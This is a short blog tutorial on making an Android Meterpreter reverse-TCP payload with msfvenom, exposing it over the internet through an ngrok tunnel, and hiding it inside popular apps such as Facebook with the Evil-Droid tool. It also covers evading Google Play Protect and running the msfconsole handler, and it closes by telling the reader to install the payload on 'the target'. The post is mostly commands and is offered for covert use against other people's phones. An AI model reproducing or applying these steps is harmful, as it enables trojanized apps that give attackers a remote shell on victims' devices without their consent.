How To Create Android payload with Ngrok and Kali llinux which works over WAN(on mobile netwrok).

Process for creating android Payload(on Kali Linux):

 

1. First set ngrok tcp server:

   Command: Ngrok tcp 7777(or any lport you want) 

 

 

2. Now for normal payload :  

COMMAND: msfvenom –p android/meterpreter/reverse_tcp lhost=ip-address lport=port R > payload-name.apk 

 

 

3. Or step 3 for creating paylaod on the apps(hiding payload inside the apps) that are useful such as: facebook etc. 

To create a payload inside an app use tool name Evil-Droid(link: https://github.com/M4sc3r4n0/Evil-Droid):  

 

  1. cd Evil-Dorid 

  2. bash evildroid 

  now select no 3 and allow for apache server creation 

  now for the lhost select the ngrok Forwarding eg:                 {4.tcp.ngrok.io}   

  and for lport select the port side to that io: eg:15139 

  

4.Time to run msfconsole 

COMMANDS: msfconsole  

          use/exploit/multi/handler 

          set payload android/meterpreter/reverse_tcp 

          set LHOST as 0.0.0.0 

          set LPORT as 7777(or any lport you want to create) 

          exploit 

Now everything is done but this payload cannot bypass google play protect so to sign i use mixploler . 

Finally installing the payload to the target and have fun. 

 


 

Comments

Popular posts from this blog

How to send mail from any email(Gmail,yahoo etc) to another(sounds like magic but it actually works)

How to fix (Error: LinkageError occurred while loading main class test java.lang.UnsupportedClassVersionError: test has been compiled by a more recent version of the Java Runtime (class file version 63.0), this version of the Java Runtime only recognizes class file versions up to 55.0)